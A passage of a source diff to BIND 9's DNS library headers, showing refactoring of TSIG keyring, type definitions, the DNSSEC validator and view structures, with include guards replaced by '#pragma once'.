-dns_tsigkeyring_dumpanddetach(dns_tsig_keyring_t **ringp, FILE *fp);
-
+dns_tsigkeyring_dump(dns_tsigkeyring_t *ring, FILE *fp);
 /*%<
- *	Destroy a TSIG key ring.
+ *	Dump a TSIG key ring to 'fp'.
  *
  *	Requires:
- *\li		'ringp' is not NULL
+ *\li		'ring' is a valid keyring.
  */
 
 void
-dns_keyring_restore(dns_tsig_keyring_t *ring, FILE *fp);
+dns_tsigkeyring_restore(dns_tsigkeyring_t *ring, FILE *fp);
+/*%<
+ *	Restore a TSIG keyring from a dump file 'fp'.
+ */
 
-ISC_LANG_ENDDECLS
+#if DNS_TSIG_TRACE
+#define dns_tsigkey_ref(ptr) dns_tsigkey__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_tsigkey_unref(ptr) \
+	dns_tsigkey__unref(ptr, __func__, __FILE__, __LINE__)
+#define dns_tsigkey_attach(ptr, ptrp) \
+	dns_tsigkey__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define dns_tsigkey_detach(ptrp) \
+	dns_tsigkey__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(dns_tsigkey);
 
-#endif /* DNS_TSIG_H */
+#define dns_tsigkeyring_ref(ptr) \
+	dns_tsigkeyring__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_tsigkeyring_unref(ptr) \
+	dns_tsigkeyring__unref(ptr, __func__, __FILE__, __LINE__)
+#define dns_tsigkeyring_attach(ptr, ptrp) \
+	dns_tsigkeyring__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define dns_tsigkeyring_detach(ptrp) \
+	dns_tsigkeyring__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(dns_tsigkeyring);
+#else
+ISC_REFCOUNT_DECL(dns_tsigkey);
+ISC_REFCOUNT_DECL(dns_tsigkeyring);
+#endif
+
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dns/ttl.h b/lib/dns/include/dns/ttl.h
index 1cceb503a5..5495368125 100644
--- a/lib/dns/include/dns/ttl.h
+++ b/lib/dns/include/dns/ttl.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_TTL_H
-#define DNS_TTL_H 1
+#pragma once
 
 /*! \file dns/ttl.h */
 
@@ -74,5 +75,3 @@ dns_ttl_fromtext(isc_textregion_t *source, uint32_t *ttl);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_TTL_H */
diff --git a/lib/dns/include/dns/types.h b/lib/dns/include/dns/types.h
index 21ced9e4e6..f3fd6f630e 100644
--- a/lib/dns/include/dns/types.h
+++ b/lib/dns/include/dns/types.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_TYPES_H
-#define DNS_TYPES_H 1
+#pragma once
 
 /*! \file dns/types.h
  * \brief
@@ -27,6 +28,8 @@
 
 #include <isc/types.h>
 
+#include <dns/trace.h>
+
 typedef struct dns_acl	       dns_acl_t;
 typedef struct dns_aclelement  dns_aclelement_t;
 typedef struct dns_aclenv      dns_aclenv_t;
@@ -41,6 +44,7 @@ typedef struct dns_byaddr	       dns_byaddr_t;
 typedef struct dns_catz_zonemodmethods dns_catz_zonemodmethods_t;
 typedef struct dns_catz_entry_options  dns_catz_options_t;
 typedef struct dns_catz_entry	       dns_catz_entry_t;
+typedef struct dns_catz_coo	       dns_catz_coo_t;
 typedef struct dns_catz_zone	       dns_catz_zone_t;
 typedef struct dns_catz_changed	       dns_catz_changed_t;
 typedef struct dns_catz_zones	       dns_catz_zones_t;
@@ -51,6 +55,8 @@ typedef void			       dns_clientupdatetrans_t;
 typedef struct dns_cache	       dns_cache_t;
 typedef uint16_t		       dns_cert_t;
 typedef struct dns_compress	       dns_compress_t;
+typedef enum dns_compress_flags	       dns_compress_flags_t;
+typedef struct dns_compress_slot       dns_compress_slot_t;
 typedef struct dns_db		       dns_db_t;
 typedef struct dns_dbimplementation    dns_dbimplementation_t;
 typedef struct dns_dbiterator	       dns_dbiterator_t;
@@ -63,9 +69,8 @@ typedef struct dns_dlzdb	       dns_dlzdb_t;
 typedef ISC_LIST(dns_dlzdb_t) dns_dlzdblist_t;
 typedef struct dns_dyndbctx	      dns_dyndbctx_t;
 typedef struct dns_sdlzimplementation dns_sdlzimplementation_t;
-typedef struct dns_decompress	      dns_decompress_t;
+typedef enum dns_decompress	      dns_decompress_t;
 typedef struct dns_dispatch	      dns_dispatch_t;
-typedef struct dns_dispatchevent      dns_dispatchevent_t;
 typedef struct dns_dispatchlist	      dns_dispatchlist_t;
 typedef struct dns_dispatchset	      dns_dispatchset_t;
 typedef struct dns_dispatchmgr	      dns_dispatchmgr_t;
@@ -88,10 +93,13 @@ typedef struct dns_forwarders	   dns_forwarders_t;
 typedef struct dns_forwarder	   dns_forwarder_t;
 typedef struct dns_fwdtable	   dns_fwdtable_t;
 typedef struct dns_geoip_databases dns_geoip_databases_t;
+typedef struct dns_glue		   dns_glue_t;
 typedef struct dns_iptable	   dns_iptable_t;
 typedef uint32_t		   dns_iterations_t;
 typedef struct dns_kasp		   dns_kasp_t;
 typedef ISC_LIST(dns_kasp_t) dns_kasplist_t;
+typedef struct dns_kasp_digest dns_kasp_digest_t;
+typedef ISC_LIST(dns_kasp_digest_t) dns_kasp_digestlist_t;
 typedef struct dns_kasp_key dns_kasp_key_t;
 typedef ISC_LIST(dns_kasp_key_t) dns_kasp_keylist_t;
 typedef struct dns_kasp_nsec3param dns_kasp_nsec3param_t;
@@ -107,17 +115,21 @@ typedef uint64_t		   dns_masterstyle_flags_t;
 typedef struct dns_message	   dns_message_t;
 typedef uint16_t		   dns_messageid_t;
 typedef isc_region_t		   dns_label_t;
-typedef struct dns_lookup	   dns_lookup_t;
 typedef struct dns_name		   dns_name_t;
+typedef struct dns_nametree	   dns_nametree_t;
 typedef ISC_LIST(dns_name_t) dns_namelist_t;
-typedef struct dns_nta		  dns_nta_t;
-typedef struct dns_ntatable	  dns_ntatable_t;
-typedef uint16_t		  dns_opcode_t;
-typedef unsigned char		  dns_offsets_t[128];
-typedef struct dns_order	  dns_order_t;
-typedef struct dns_peer		  dns_peer_t;
-typedef struct dns_peerlist	  dns_peerlist_t;
-typedef struct dns_rbt		  dns_rbt_t;
+typedef struct dns_ntatable	 dns_ntatable_t;
+typedef struct dns_ntnode	 dns_ntnode_t;
+typedef uint16_t		 dns_opcode_t;
+typedef struct dns_order	 dns_order_t;
+typedef struct dns_peer		 dns_peer_t;
+typedef struct dns_peerlist	 dns_peerlist_t;
+typedef struct dns_proof	 dns_proof_t;
+typedef struct dns_rbt		 dns_rbt_t;
+typedef struct dns_rbtdb	 dns_rbtdb_t;
+typedef struct dns_rbtdb_version dns_rbtdb_version_t;
+typedef struct dns_rbtnode	 dns_rbtnode_t;
+typedef ISC_LIST(dns_rbtnode_t) dns_rbtnodelist_t;
 typedef uint16_t		  dns_rcode_t;
 typedef struct dns_rdata	  dns_rdata_t;
 typedef struct dns_rdatacallbacks dns_rdatacallbacks_t;
@@ -125,29 +137,34 @@ typedef uint16_t		  dns_rdataclass_t;
 typedef struct dns_rdatalist	  dns_rdatalist_t;
 typedef struct dns_rdataset	  dns_rdataset_t;
 typedef ISC_LIST(dns_rdataset_t) dns_rdatasetlist_t;
-typedef struct dns_rdatasetiter	     dns_rdatasetiter_t;
-typedef uint16_t		     dns_rdatatype_t;
-typedef struct dns_request	     dns_request_t;
-typedef struct dns_requestmgr	     dns_requestmgr_t;
-typedef struct dns_resolver	     dns_resolver_t;
-typedef struct dns_sdbimplementation dns_sdbimplementation_t;
-typedef uint8_t			     dns_secalg_t;
-typedef uint8_t			     dns_secproto_t;
-typedef struct dns_signature	     dns_signature_t;
-typedef struct dns_sortlist_arg	     dns_sortlist_arg_t;
-typedef struct dns_ssurule	     dns_ssurule_t;
-typedef struct dns_ssutable	     dns_ssutable_t;
-typedef struct dns_stats	     dns_stats_t;
-typedef uint32_t		     dns_rdatastatstype_t;
-typedef struct dns_tkeyctx	     dns_tkeyctx_t;
-typedef uint16_t		     dns_trust_t;
-typedef struct dns_tsec		     dns_tsec_t;
-typedef struct dns_tsig_keyring	     dns_tsig_keyring_t;
-typedef struct dns_tsigkey	     dns_tsigkey_t;
-typedef uint32_t		     dns_ttl_t;
-typedef struct dns_update_state	     dns_update_state_t;
-typedef struct dns_validator	     dns_validator_t;
-typedef struct dns_view		     dns_view_t;
+typedef struct dns_rdatasetiter dns_rdatasetiter_t;
+typedef uint16_t		dns_rdatatype_t;
+typedef struct dns_remote	dns_remote_t;
+typedef struct dns_request	dns_request_t;
+typedef struct dns_requestmgr	dns_requestmgr_t;
+typedef struct dns_resolver	dns_resolver_t;
+typedef struct dns_rpsdb	dns_rpsdb_t;
+typedef uint8_t			dns_secalg_t;
+typedef uint8_t			dns_secproto_t;
+typedef struct dns_signature	dns_signature_t;
+typedef struct dns_slabheader	dns_slabheader_t;
+typedef ISC_LIST(dns_slabheader_t) dns_slabheaderlist_t;
+typedef struct dns_sortlist_arg	  dns_sortlist_arg_t;
+typedef struct dns_ssurule	  dns_ssurule_t;
+typedef struct dns_ssutable	  dns_ssutable_t;
+typedef struct dns_stats	  dns_stats_t;
+typedef uint32_t		  dns_rdatastatstype_t;
+typedef struct dns_tkeyctx	  dns_tkeyctx_t;
+typedef struct dns_transport	  dns_transport_t;
+typedef struct dns_transport_list dns_transport_list_t;
+typedef uint16_t		  dns_trust_t;
+typedef struct dns_tsigkeyring	  dns_tsigkeyring_t;
+typedef struct dns_tsigkey	  dns_tsigkey_t;
+typedef uint32_t		  dns_ttl_t;
+typedef uint32_t		  dns_typepair_t;
+typedef struct dns_update_state	  dns_update_state_t;
+typedef struct dns_validator	  dns_validator_t;
+typedef struct dns_view		  dns_view_t;
 typedef ISC_LIST(dns_view_t) dns_viewlist_t;
 typedef struct dns_zone dns_zone_t;
 typedef ISC_LIST(dns_zone_t) dns_zonelist_t;
@@ -181,6 +198,18 @@ typedef enum {
 	dns_dbtype_stub = 3
 } dns_dbtype_t;
 
+typedef enum {
+	dns_dbtree_main = 0,
+	dns_dbtree_nsec = 1,
+	dns_dbtree_nsec3 = 2
+} dns_dbtree_t;
+
+typedef enum {
+	dns_checkdstype_no = 0,
+	dns_checkdstype_yes = 1,
+	dns_checkdstype_explicit = 2
+} dns_checkdstype_t;
+
 typedef enum {
 	dns_notifytype_no = 0,
 	dns_notifytype_yes = 1,
@@ -208,9 +237,14 @@ typedef enum {
 	dns_masterformat_none = 0,
 	dns_masterformat_text = 1,
 	dns_masterformat_raw = 2,
-	dns_masterformat_map = 3
 } dns_masterformat_t;
 
+typedef enum {
+	dns_expire_lru = 0,
+	dns_expire_ttl = 1,
+	dns_expire_flush = 2,
+} dns_expire_t;
+
 /*
  * These are generated by gen.c.
  */
@@ -392,15 +426,17 @@ typedef void (*dns_loaddonefunc_t)(void *, isc_result_t);
 
 typedef void (*dns_rawdatafunc_t)(dns_zone_t *, dns_masterrawheader_t *);
 
-typedef isc_result_t (*dns_addrdatasetfunc_t)(void *, const dns_name_t *,
-					      dns_rdataset_t *);
+typedef isc_result_t (*dns_addrdatasetfunc_t)(void *arg, const dns_name_t *name,
+					      dns_rdataset_t *rdataset
+						      DNS__DB_FLARG);
 
-typedef isc_result_t (*dns_additionaldatafunc_t)(void *, const dns_name_t *,
-						 dns_rdatatype_t);
+typedef isc_result_t (*dns_additionaldatafunc_t)(
+	void *arg, const dns_name_t *name, dns_rdatatype_t type,
+	dns_rdataset_t *rdataset DNS__DB_FLARG);
 
 typedef isc_result_t (*dns_digestfunc_t)(void *, isc_region_t *);
 
-typedef void (*dns_xfrindone_t)(dns_zone_t *, isc_result_t);
+typedef void (*dns_xfrindone_t)(dns_zone_t *, uint32_t *, isc_result_t);
 
 typedef void (*dns_updatecallback_t)(void *, isc_result_t, dns_message_t *);
 
@@ -420,8 +456,4 @@ typedef bool (*dns_isselffunc_t)(dns_view_t *, dns_tsigkey_t *,
 				 const isc_sockaddr_t *, const isc_sockaddr_t *,
 				 dns_rdataclass_t, void *);
 
-typedef isc_result_t (*dns_deserializefunc_t)(void *, FILE *, off_t);
-
 typedef void (*dns_nseclog_t)(void *val, int, const char *, ...);
-
-#endif /* DNS_TYPES_H */
diff --git a/lib/dns/include/dns/update.h b/lib/dns/include/dns/update.h
index f566488e3e..8ca1bf090e 100644
--- a/lib/dns/include/dns/update.h
+++ b/lib/dns/include/dns/update.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_UPDATE_H
-#define DNS_UPDATE_H 1
+#pragma once
 
 /*! \file dns/update.h */
 
@@ -69,5 +70,3 @@ dns_update_signaturesinc(dns_update_log_t *log, dns_zone_t *zone, dns_db_t *db,
 			 dns_update_state_t **state);
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_UPDATE_H */
diff --git a/lib/dns/include/dns/validator.h b/lib/dns/include/dns/validator.h
index 1c81efd3a2..d42cdca637 100644
--- a/lib/dns/include/dns/validator.h
+++ b/lib/dns/include/dns/validator.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_VALIDATOR_H
-#define DNS_VALIDATOR_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -47,9 +48,9 @@
 
 #include <stdbool.h>
 
-#include <isc/event.h>
+#include <isc/job.h>
 #include <isc/lang.h>
-#include <isc/mutex.h>
+#include <isc/refcount.h>
 
 #include <dns/fixedname.h>
 #include <dns/rdataset.h>
@@ -58,26 +59,44 @@
 
 #include <dst/dst.h>
 
+#define DNS_VALIDATOR_NOQNAMEPROOF    0
+#define DNS_VALIDATOR_NODATAPROOF     1
+#define DNS_VALIDATOR_NOWILDCARDPROOF 2
+#define DNS_VALIDATOR_CLOSESTENCLOSER 3
+
 /*%
- * A dns_validatorevent_t is sent when a 'validation' completes.
+ * A validator object represents a validation in progress.
  * \brief
- * 'name', 'rdataset', 'sigrdataset', and 'message' are the values that were
- * supplied when dns_validator_create() was called.  They are returned to the
- * caller so that they may be freed.
- *
- * If the RESULT is ISC_R_SUCCESS and the answer is secure then
- * proofs[] will contain the names of the NSEC records that hold the
- * various proofs.  Note the same name may appear multiple times.
+ * Clients are strongly discouraged from using this type directly, with
+ * the exception of the 'link' field, which may be used directly for
+ * whatever purpose the client desires.
  */
-typedef struct dns_validatorevent {
-	ISC_EVENT_COMMON(struct dns_validatorevent);
-	dns_validator_t *validator;
-	isc_result_t	 result;
+struct dns_validator {
+	unsigned int   magic;
+	dns_view_t    *view;
+	isc_loop_t    *loop;
+	uint32_t       tid;
+	isc_refcount_t references;
+
+	/* Name and type of the response to be validated. */
+	dns_name_t     *name;
+	dns_rdatatype_t type;
+
 	/*
-	 * Name and type of the response to be validated.
+	 * Callback and argument to use to inform the caller
+	 * that validation is complete.
 	 */
-	dns_name_t *	name;
-	dns_rdatatype_t type;
+	isc_job_cb cb;
+	void	  *arg;
+
+	/* Validation options (_DEFER, _NONTA, etc). */
+	unsigned int options;
+
+	/*
+	 * Results of a completed validation.
+	 */
+	isc_result_t result;
+
 	/*
 	 * Rdata and RRSIG (if any) for positive responses.
 	 */
@@ -100,48 +119,25 @@ typedef struct dns_validatorevent {
 	 * Answer is secure.
 	 */
 	bool secure;
-} dns_validatorevent_t;
-
-#define DNS_VALIDATOR_NOQNAMEPROOF    0
-#define DNS_VALIDATOR_NODATAPROOF     1
-#define DNS_VALIDATOR_NOWILDCARDPROOF 2
-#define DNS_VALIDATOR_CLOSESTENCLOSER 3
 
-/*%
- * A validator object represents a validation in progress.
- * \brief
- * Clients are strongly discouraged from using this type directly, with
- * the exception of the 'link' field, which may be used directly for
- * whatever purpose the client desires.
- */
-struct dns_validator {
-	/* Unlocked. */
-	unsigned int magic;
-	isc_mutex_t  lock;
-	dns_view_t * view;
-	/* Locked by lock. */
-	unsigned int	      options;
-	unsigned int	      attributes;
-	dns_validatorevent_t *event;
-	dns_fetch_t *	      fetch;
-	dns_validator_t *     subvalidator;
-	dns_validator_t *     parent;
-	dns_keytable_t *      keytable;
-	dst_key_t *	      key;
-	dns_rdata_rrsig_t *   siginfo;
-	isc_task_t *	      task;
-	isc_taskaction_t      action;
-	void *		      arg;
-	unsigned int	      labels;
-	dns_rdataset_t *      currentset;
-	dns_rdataset_t *      keyset;
-	dns_rdataset_t *      dsset;
-	dns_rdataset_t	      fdsset;
-	dns_rdataset_t	      frdataset;
-	dns_rdataset_t	      fsigrdataset;
-	dns_fixedname_t	      fname;
-	dns_fixedname_t	      wild;
-	dns_fixedname_t	      closest;
+	/* Internal validator state */
+	unsigned int	   attributes;
+	dns_fetch_t	  *fetch;
+	dns_validator_t	  *subvalidator;
+	dns_validator_t	  *parent;
+	dns_keytable_t	  *keytable;
+	dst_key_t	  *key;
+	dns_rdata_rrsig_t *siginfo;
+	unsigned int	   labels;
+	dns_rdataset_t	  *nxset;
+	dns_rdataset_t	  *keyset;
+	dns_rdataset_t	  *dsset;
+	dns_rdataset_t	   fdsset;
+	dns_rdataset_t	   frdataset;
+	dns_rdataset_t	   fsigrdataset;
+	dns_fixedname_t	   fname;
+	dns_fixedname_t	   wild;
+	dns_fixedname_t	   closest;
 	ISC_LINK(dns_validator_t) link;
 	bool	      mustbesecure;
 	unsigned int  depth;
@@ -164,12 +160,16 @@ isc_result_t
 dns_validator_create(dns_view_t *view, dns_name_t *name, dns_rdatatype_t type,
 		     dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset,
 		     dns_message_t *message, unsigned int options,
-		     isc_task_t *task, isc_taskaction_t action, void *arg,
+		     isc_loop_t *loop, isc_job_cb cb, void *arg,
 		     dns_validator_t **validatorp);
 /*%<
  * Start a DNSSEC validation.
  *
- * This validates a response to the question given by
+ * On success (which is guaranteed as long as the view has valid
+ * trust anchors), `validatorp` is updated to point to the new
+ * validator. The caller is responsible for detaching it.
+ *
+ * The validator will validate a response to the question given by
  * 'name' and 'type'.
  *
  * To validate a positive response, the response data is
@@ -192,8 +192,11 @@ dns_validator_create(dns_view_t *view, dns_name_t *name, dns_rdatatype_t type,
  *
  * The validation is performed in the context of 'view'.
  *
- * When the validation finishes, a dns_validatorevent_t with
- * the given 'action' and 'arg' are sent to 'task'.
+ * When the validation finishes, the callback function 'cb' is
+ * called, passing a dns_valstatus_t object which contains a
+ * poiner to 'arg'. The caller is responsible for freeing this
+ * object.
+ *
  * Its 'result' field will be ISC_R_SUCCESS iff the
  * response was successfully proven to be either secure or
  * part of a known insecure domain.
@@ -230,12 +233,24 @@ dns_validator_destroy(dns_validator_t **validatorp);
  * Requires:
  *\li	'*validatorp' points to a valid DNSSEC validator.
  * \li	The validator must have completed and sent its completion
- * 	event.
+ *	event.
  *
  * Ensures:
  *\li	All resources used by the validator are freed.
  */
 
-ISC_LANG_ENDDECLS
+#if DNS_VALIDATOR_TRACE
+#define dns_validator_ref(ptr) \
+	dns_validator__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_validator_unref(ptr) \
+	dns_validator__unref(ptr, __func__, __FILE__, __LINE__)
+#define dns_validator_attach(ptr, ptrp) \
+	dns_validator__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define dns_validator_detach(ptrp) \
+	dns_validator__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(dns_validator);
+#else
+ISC_REFCOUNT_DECL(dns_validator);
+#endif
 
-#endif /* DNS_VALIDATOR_H */
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dns/view.h b/lib/dns/include/dns/view.h
index bfe9abd763..f8b1d943c7 100644
--- a/lib/dns/include/dns/view.h
+++ b/lib/dns/include/dns/view.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_VIEW_H
-#define DNS_VIEW_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -56,7 +57,6 @@
 #include <stdbool.h>
 #include <stdio.h>
 
-#include <isc/event.h>
 #include <isc/lang.h>
 #include <isc/magic.h>
 #include <isc/mutex.h>
@@ -70,6 +70,7 @@
 #include <dns/clientinfo.h>
 #include <dns/dnstap.h>
 #include <dns/fixedname.h>
+#include <dns/nta.h>
 #include <dns/rdatastruct.h>
 #include <dns/rpz.h>
 #include <dns/rrl.h>
@@ -81,17 +82,18 @@ ISC_LANG_BEGINDECLS
 
 struct dns_view {
 	/* Unlocked. */
-	unsigned int	  magic;
-	isc_mem_t *	  mctx;
-	dns_rdataclass_t  rdclass;
-	char *		  name;
-	dns_zt_t *	  zonetable;
-	dns_resolver_t *  resolver;
-	dns_adb_t *	  adb;
-	dns_requestmgr_t *requestmgr;
-	dns_cache_t *	  cache;
-	dns_db_t *	  cachedb;
-	dns_db_t *	  hints;
+	unsigned int	   magic;
+	isc_mem_t	  *mctx;
+	dns_rdataclass_t   rdclass;
+	char		  *name;
+	dns_zt_t	  *zonetable;
+	dns_resolver_t	  *resolver;
+	dns_adb_t	  *adb;
+	dns_requestmgr_t  *requestmgr;
+	dns_dispatchmgr_t *dispatchmgr;
+	dns_cache_t	  *cache;
+	dns_db_t	  *cachedb;
+	dns_db_t	  *hints;
 
 	/*
 	 * security roots and negative trust anchors.
@@ -100,29 +102,21 @@ struct dns_view {
 	dns_keytable_t *secroots_priv;
 	dns_ntatable_t *ntatable_priv;
 
-	isc_mutex_t  lock;
-	bool	     frozen;
-	isc_task_t * task;
-	isc_event_t  resevent;
-	isc_event_t  adbevent;
-	isc_event_t  reqevent;
-	isc_stats_t *adbstats;
-	isc_stats_t *resstats;
-	dns_stats_t *resquerystats;
-	bool	     cacheshared;
+	isc_mutex_t lock;
+	bool	    frozen;
+	bool	    cacheshared;
 
 	/* Configurable data. */
 	dns_transport_list_t *transports;
-	dns_tsig_keyring_t *  statickeys;
-	dns_tsig_keyring_t *  dynamickeys;
-	dns_peerlist_t *      peers;
-	dns_order_t *	      order;
-	dns_fwdtable_t *      fwdtable;
+	dns_tsigkeyring_t    *statickeys;
+	dns_tsigkeyring_t    *dynamickeys;
+	dns_peerlist_t	     *peers;
+	dns_order_t	     *order;
+	dns_fwdtable_t	     *fwdtable;
 	bool		      recursion;
 	bool		      qminimization;
 	bool		      qmin_strict;
 	bool		      auth_nxdomain;
-	bool		      use_glue_cache;
 	bool		      minimal_any;
 	dns_minimaltype_t     minimalresponses;
 	bool		      enablevalidation;
@@ -132,24 +126,25 @@ struct dns_view {
 	bool		      trust_anchor_telemetry;
 	bool		      root_key_sentinel;
 	dns_transfer_format_t transfer_format;
-	dns_acl_t *	      cacheacl;
-	dns_acl_t *	      cacheonacl;
-	dns_acl_t *	      queryacl;
-	dns_acl_t *	      queryonacl;
-	dns_acl_t *	      recursionacl;
-	dns_acl_t *	      recursiononacl;
-	dns_acl_t *	      sortlist;
-	dns_acl_t *	      notifyacl;
-	dns_acl_t *	      transferacl;
-	dns_acl_t *	      updateacl;
-	dns_acl_t *	      upfwdacl;
-	dns_acl_t *	      denyansweracl;
-	dns_acl_t *	      nocasecompress;
+	dns_acl_t	     *cacheacl;
+	dns_acl_t	     *cacheonacl;
+	dns_acl_t	     *queryacl;
+	dns_acl_t	     *queryonacl;
+	dns_acl_t	     *recursionacl;
+	dns_acl_t	     *recursiononacl;
+	dns_acl_t	     *sortlist;
+	dns_acl_t	     *notifyacl;
+	dns_acl_t	     *transferacl;
+	dns_acl_t	     *updateacl;
+	dns_acl_t	     *upfwdacl;
+	dns_acl_t	     *denyansweracl;
+	dns_acl_t	     *nocasecompress;
 	bool		      msgcompression;
-	dns_rbt_t *	      answeracl_exclude;
-	dns_rbt_t *	      denyanswernames;
-	dns_rbt_t *	      answernames_exclude;
-	dns_rrl_t *	      rrl;
+	dns_nametree_t	     *answeracl_exclude;
+	dns_nametree_t	     *denyanswernames;
+	dns_nametree_t	     *answernames_exclude;
+	dns_nametree_t	     *sfd;
+	dns_rrl_t	     *rrl;
 	bool		      provideixfr;
 	bool		      requestnsid;
 	bool		      sendcookie;
@@ -159,16 +154,13 @@ struct dns_view {
 	dns_ttl_t	      minncachettl;
 	uint32_t	      nta_lifetime;
 	uint32_t	      nta_recheck;
-	char *		      nta_file;
+	char		     *nta_file;
 	dns_ttl_t	      prefetch_trigger;
 	dns_ttl_t	      prefetch_eligible;
 	in_port_t	      dstport;
-	dns_aclenv_t *	      aclenv;
+	dns_aclenv_t	     *aclenv;
 	dns_rdatatype_t	      preferred_glue;
 	bool		      flush;
-	dns_namelist_t *      delonly;
-	bool		      rootdelonly;
-	dns_namelist_t *      rootexclude;
 	bool		      checknames;
 	uint16_t	      maxudp;
 	dns_ttl_t	      staleanswerttl;
@@ -178,16 +170,17 @@ struct dns_view {
 	uint32_t	  staleanswerclienttimeout;
 	uint16_t	  nocookieudp;
 	uint16_t	  padding;
-	dns_acl_t *	  pad_acl;
+	dns_acl_t	 *pad_acl;
 	unsigned int	  maxbits;
 	dns_dns64list_t	  dns64;
 	unsigned int	  dns64cnt;
-	dns_rpz_zones_t * rpzs;
+	dns_rpz_zones_t	 *rpzs;
 	dns_catz_zones_t *catzs;
 	dns_dlzdblist_t	  dlz_searched;
 	dns_dlzdblist_t	  dlz_unsearched;
 	uint32_t	  fail_ttl;
-	dns_badcache_t *  failcache;
+	dns_badcache_t	 *failcache;
+	unsigned int	  udpsize;
 
 	/*
 	 * Configurable data for server use only,
@@ -198,9 +191,8 @@ struct dns_view {
 	bool	   matchrecursiveonly;
 
 	/* Locked by themselves. */
-	isc_refcount_t	     references;
-	isc_refcount_t	     weakrefs;
-	atomic_uint_fast32_t attributes;
+	isc_refcount_t references;
+	isc_refcount_t weakrefs;
 
 	/* Under owner's locking control. */
 	ISC_LINK(struct dns_view) link;
@@ -220,19 +212,19 @@ struct dns_view {
 	 * XXX: This should be a pointer to an opaque type that
 	 * named implements.
 	 */
-	char *	 new_zone_dir;
-	char *	 new_zone_file;
-	char *	 new_zone_db;
-	void *	 new_zone_dbenv;
+	char	*new_zone_dir;
+	char	*new_zone_file;
+	char	*new_zone_db;
+	void	*new_zone_dbenv;
 	uint64_t new_zone_mapsize;
-	void *	 new_zone_config;
+	void	*new_zone_config;
 	void (*cfg_destroy)(void **);
 	isc_mutex_t new_zone_lock;
 
 	unsigned char secret[32]; /* Client secret */
 	unsigned int  v6bias;
 
-	dns_dtenv_t *	dtenv;	 /* Dnstap environment */
+	dns_dtenv_t    *dtenv;	 /* Dnstap environment */
 	dns_dtmsgtype_t dttypes; /* Dnstap message types
 				  * to log */
 
@@ -266,8 +258,8 @@ struct dns_view {
 #endif /* HAVE_LMDB */
 
 isc_result_t
-dns_view_create(isc_mem_t *mctx, dns_rdataclass_t rdclass, const char *name,
-		dns_view_t **viewp);
+dns_view_create(isc_mem_t *mctx, dns_dispatchmgr_t *dispmgr,
+		dns_rdataclass_t rdclass, const char *name, dns_view_t **viewp);
 /*%<
  * Create a view.
  *
@@ -297,7 +289,8 @@ dns_view_create(isc_mem_t *mctx, dns_rdataclass_t rdclass, const char *name,
 void
 dns_view_attach(dns_view_t *source, dns_view_t **targetp);
 /*%<
- * Attach '*targetp' to 'source'.
+ * Attach '*targetp' to 'source', incrementing the view's reference
+ * counter.
  *
  * Requires:
  *
@@ -315,22 +308,12 @@ dns_view_attach(dns_view_t *source, dns_view_t **targetp);
 void
 dns_view_detach(dns_view_t **viewp);
 /*%<
- * Detach '*viewp' from its view.
- *
- * Requires:
- *
- *\li	'viewp' points to a valid dns_view_t *
- *
- * Ensures:
- *
- *\li	*viewp is NULL.
- */
-
-void
-dns_view_flushanddetach(dns_view_t **viewp);
-/*%<
- * Detach '*viewp' from its view.  If this was the last reference
- * uncommitted changed in zones will be flushed to disk.
+ * Detach '*viewp' and decrement the view's reference counter.  If this was
+ * the last reference, then the associated resolver, requestmgr, ADB and
+ * zones will be shut down; if dns_view_flushonshutdown() has been called
+ * with 'true', uncommitted changed in zones will also be flushed to disk.
+ * The view will not be fully destroyed, however, until the weak references
+ * (see below) reach zero as well.
  *
  * Requires:
  *
